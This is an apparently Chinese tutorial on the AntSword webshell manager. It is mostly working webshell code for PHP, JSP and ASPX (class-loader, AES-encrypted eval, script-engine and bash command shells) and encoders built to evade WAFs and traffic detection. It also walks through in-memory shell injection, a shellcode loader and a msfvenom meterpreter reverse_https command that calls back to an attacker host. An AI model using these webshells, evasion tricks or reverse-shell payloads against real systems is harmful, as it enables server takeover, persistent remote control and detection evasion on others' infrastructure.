蚁剑食用指南

前言

蚁剑是在攻防时常用的webshell管理器,但一直从未真正熟悉过。

webshell

php

在自己编写php一句话木马时,经常用到evalassert这两个关键。需要注意的是

  • eval是一个语言构造器,可以传入多个参数,但它本身不能作为变量进行传递。
  • assert是一个函数,本身可以作为变量进行传递,但只能传入一个参数。

而这个区别直接影响着蚁剑的使用,
当我们的一句话木马使用assert函数时,如经过rot13编码后的webshell


蚁剑则需要设置编码方式为base64才可以正常连接。

image.png

当我们的一句话木马使用eval语言构造器时,

"3");
$b=array_keys($a)[0];
eval($b);
?>

蚁剑就可直接连接。

image.png

jsp

在经过java类加载的学习之后,也就知道了蚁剑的Webshell。详情参考 Jsp Webshell 免杀-类加载器

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>

<%
    try {
        class Myloader extends ClassLoader {
            Myloader(ClassLoader c) {
            super(c);
        }
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        String classStr = request.getParameter("pass");
        Myloader myloader = new Myloader(this.getClass().getClassLoader());
        byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
        Class aClass = myloader.get(bytes);
        Object o = aClass.newInstance();
        boolean equals = o.equals(pageContext);
        out.println(equals);
    } catch (Exception e) {
        out.println(e);
    }
%>
image.png

设置

在设置选项里还增加了绕过WAF的一些技巧。如:垃圾数据填充、分块传输

image.png

在上传文件的时候开启分块传输可以上传大文件。
还有一处绕过WAF的技巧。

image.png

虚拟终端

aslistcmd 列出可使用的命令解释器。
ascmd c:/windows/system32/windowspowershell/v1.0/powershell.exe 指定powershell作为解释器。

image.png

编码器

php

除了常见的base64编码方式,还有rot13chr16 等编码方式。

image.png

chr16编码,以rot13解码。但这种方式在以http协议传输时依然存在eval关键字且非常容易被WAF拦截。
至少在压缩后base64编码就有一定绕过的效果。
比如 https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/zlib_deflated_raw.js

'use strict';

var zlib = require('zlib');
/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
  // ##########    请在下方编写你自己的代码   ###################
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  data[randomID] = zlib.deflateRawSync(data['_']).toString('base64');
  
  
  // 
  data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
  
  delete data['_'];
  return data;
}

assert关键字也进行base64编码。对于的webshell为


这时传输的数据就不存在eval关键字。

image.png

且数据内容base64无法正常解码。

jsp

默认的webshell直接将字节码进行了base64解码。所以手动解码的时候存在java敏感字符。

image.png

对于jsp语言的自定义编码器,github 提供了https://github.com/AntSwordProject/AwesomeScript/blob/master/jsp/jsp_defineclass_zlib_deflated_script.jsp 将body体先压缩再base64编码。
所以对应的webshell也应该先base64解码再解压缩。

<%@page import="java.util.*,java.io.*,java.util.zip.*"%>
<%!
 
  public byte[] decompress(byte[] data) {
    byte[] output = new byte[0];
    Inflater dc = new Inflater();
    dc.reset();
    dc.setInput(data);
    ByteArrayOutputStream o = new ByteArrayOutputStream(data.length);
    try {
      byte[] buf = new byte[1024];
      while (!dc.finished()) {
        int i = dc.inflate(buf);
        o.write(buf, 0, i);
      }
      output = o.toByteArray();
    } catch (Exception e) {
        output = data;
        e.printStackTrace();
    } finally {
      try {
          o.close();
      } catch (IOException e) {
          e.printStackTrace();
      }
    }
    dc.end();
    return output;
  }
  
%>

<%
    try {
        class Myloader extends ClassLoader {
            Myloader(ClassLoader c) {
            super(c);
        }
            public Class get(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
        String classStr = request.getParameter("pass");
        Myloader myloader = new Myloader(this.getClass().getClassLoader());
        byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
        Class aClass = myloader.get(decompress(bytes));
        Object o = aClass.newInstance();
        boolean equals = o.equals(pageContext);
        out.println(equals);
    } catch (Exception e) {
        out.println(e);
    }
%>

经过编码器处理后base64解码就不再有java敏感字符,从而规避流量检测。

aspx

对应aspx语言的网站,蚁剑没有提供更好的编码方式。但github有师傅写出了对于aspx的AES加密编码解码器。
地址: https://github.com/youncyb/AS_ASPX_AES_ENCODE
下载脚本,覆盖 antSword\antSword-2.1.14\source\core 下的aspx脚本,将内置在编码解码中。

image.png

对应的webshell为

<%@ Page Language="Jscript"%>
<% 
    var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
    var b64Enc = new ActiveXObject("System.Security.Cryptography.ToBase64Transform");
    var b64Dec = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
    var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
    aes.Padding = 3;
    aes.KeySize = 128;
    function B64Decode(b64Str){
        var bytes = utf8.GetBytes(b64Str);
        var decoded_bytes = b64Dec.TransformFinalBlock((bytes), 0, bytes.length);
        return decoded_bytes;
    }
    function Decrypt(cipherText, aesKey){
        var aesKeyBytes = utf8.GetBytes(aesKey);
        aes.IV = aesKeyBytes;
        var cipherBytes = B64Decode(cipherText);
        var aesDec = aes.CreateDecryptor((aesKeyBytes), (aes.IV));
        var plainBytes = aesDec.TransformFinalBlock(cipherBytes, 0, cipherBytes.length);
        var res = utf8.GetString(plainBytes);
        return res;
    }
    var data = Request.Item["ant"];
    var aesKey = data.substring(0,24);
    aesKey = utf8.GetString(B64Decode(aesKey));
    var encrypt_res = data.substring(24);
    var decrypted = Decrypt(encrypt_res, aesKey);
    eval(decrypted,"unsafe");
%>

抓取数据包随机变为

image.png

插件

再来看看几款功能性强好用的插件。

As-Exploits 插件

内存马

自定义注册冰蝎、蚁剑、哥斯拉、neo-reGeorg内存马。

image.png

从而实现一种蚁剑和冰蝎的丝滑联动。

image.png

neo-reGeorg同样可以使用,默认密码:asexploits

image.png

当不需要使用时即可在内存马管理模块处指定卸载。

image.png

aspx 内存马同样支持,要注意的是在目录后面加一些随机字符串,用.aspx指定的后缀才能解析。(谨慎使用aspx内存马)

image.png

注入冰蝎内存马
连接地址为:http://10.211.55.19/bewe2e21e.aspx

image.png

shellcode 加载器

  • 一种利用第三方库JNA进行ShellCode的加载JNALoader,只需要X86类型的ShellCode即可。
  • 一种模拟java agent注入过程来实现Shellcode的加载,免杀效果较好。
    以JNALoader为例:
image.png

先利用Jar加载器将 ShellCodeLoader.jar 上传到目标服务器目录并exploit加载。

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.26 LPORT=8888  PrependMigrate=true PrependMigrateProc=svchost.exe -f hex
image.png

然后使用MSF或者CS生成x86类型的shellcode,并开启监听。

image.png

在ShellCode加载器的模块中输入hex或者java格式的shellcode,且不能有多余换行跟空格,点击exploit。

image.png

metasploit 可正常上线。

image.png

cobaltstrike 可正常上线。

as_bypass_php_disable_functions 插件

该插件专门用来突破 disable_functions 执行系统命令,绕过 Open_basedir 等安全机制。

GenShell 插件

该插件用来生成webshell,使用效果也不错。

连接类型

蚁剑还有几个不太常用的连接类型,这里也顺便熟悉一下。

JSPJS 类型

基于 js 引擎实现的 jsp 一句话类型。
对应的webshell为

<%
  try {
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("ant"));
  } catch (Exception e) {
    out.println("Error:// "+e.toString());
  }
%>

也可以进一步魔改为一行代码


${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("js")["eval"](pageContext.request.getParameter("ant"))}

CUSTORM 类型

用于数据库的JSP自定义脚本。
对应的webshell为
https://github.com/AntSwordProject/AwesomeScript/blob/master/jsp/jsp_custom_script_for_mysql.jsp

image.png

也可以使用github里的编码器来进一步规避特征。

CMDLINUX 类型

该类型是2.1.14版本新增的类型。基于命令执行的一句话类型,仅支持 Linux 环境。
如php的命令执行一句话


如jsp的命令执行一句话

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>

<%
    out.print(System.getProperty("os.name").toLowerCase());
    String  cmd = request.getParameter("cmd");
    if(cmd != null){
        Process p =  Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
        InputStream input = p.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        BufferedReader br = new BufferedReader(ins);
        out.print("
");
        String line;
        while((line = br.readLine()) != null) {
            out.println(line);
        }
        out.print("
"); br.close(); ins.close(); input.close(); p.getOutputStream().close(); } %>
image.png

总结

太多的时候只使用了熟悉的几个功能,更多的技巧和插件体验起来也不错。

参考资料

https://github.com/AntSwordProject/antSword/blob/02e7058f8ec1b6f2cb82d56822277e2ff871a012/CHANGELOG.md
https://yzddmr6.com/posts/As-Exploits-v1-4%E6%9B%B4%E6%96%B0/

你可能感兴趣的:(蚁剑食用指南)